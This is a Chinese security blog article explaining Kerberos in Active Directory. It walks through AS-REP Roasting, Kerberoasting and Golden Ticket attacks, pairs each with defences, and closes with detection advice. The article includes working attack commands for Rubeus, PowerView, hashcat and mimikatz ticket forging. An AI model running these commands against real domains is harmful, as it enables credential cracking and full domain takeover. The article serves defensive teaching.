返回文章列表
内网安全

Kerberos协议攻击与防御详解

2026-09-281567 次阅读14 分钟阅读

Kerberos协议概述

Kerberos是Active Directory环境中的默认认证协议,基于票据的认证机制。

核心组件

  • KDC(Key Distribution Center): 密钥分发中心
- AS(Authentication Service): 认证服务 - TGS(Ticket Granting Service): 票据授予服务
  • TGT(Ticket Granting Ticket): 票据授予票据
  • ST(Service Ticket): 服务票据

认证流程

  • 用户向AS请求TGT(AS-REQ/AS-REP)
  • 用户使用TGT向TGS请求ST(TGS-REQ/TGS-REP)
  • 用户使用ST访问服务(AP-REQ/AP-REP)
  • AS-REP Roasting

    攻击原理

    当用户账户设置了"不需要Kerberos预认证"标志时,攻击者可以请求该用户的AS-REP,其中包含用用户NTLM哈希加密的数据,可离线破解。

    攻击步骤

    powershell
    # 枚举不需要预认证的用户
    Get-DomainUser -PreauthNotRequired -Domain target.local

    使用Rubeus请求AS-REP

    Rubeus.exe asreproast /user:targetuser /format:hashcat

    防御措施

    • 确保所有用户账户启用Kerberos预认证
    • 监控异常的AS-REQ请求

    Kerberoasting

    攻击原理

    任何域用户都可以请求服务票据(ST),ST使用服务账户的NTLM哈希加密。攻击者获取ST后可离线破解服务账户密码。

    攻击步骤

    powershell
    # 使用Rubeus请求所有SPN的ST
    Rubeus.exe kerberoast /format:hashcat

    使用hashcat破解

    hashcat -m 13100 hash.txt wordlist.txt

    防御措施

    • 服务账户使用强密码(25+字符)
    • 使用gMSA(组托管服务账户)
    • 监控异常的TGS-REQ请求

    Golden Ticket攻击

    攻击原理

    攻击者获取krbtgt账户的NTLM哈希后,可以伪造任意用户的TGT,获得域内完全访问权限。

    text
    mimikatz # kerberos::golden /user:administrator /domain:target.local /sid:S-1-5-21-xxx /krbtgt:hash /ticket:golden.kirbi
    

    防御措施

    • 定期重置krbtgt密码(两次)
    • 保护域控安全
    • 监控异常的TGT请求

    检测与响应

  • 启用Kerberos审计日志(Event ID 4768/4769/4770/4771)
  • 部署AD蜜罐账户
  • 使用BloodHound分析攻击路径
  • 实施特权访问管理(PAM)
  • #kerberos#ad#windows#mimikatz

    关注我获取更多更新

    持续分享网络安全技术研究与实战经验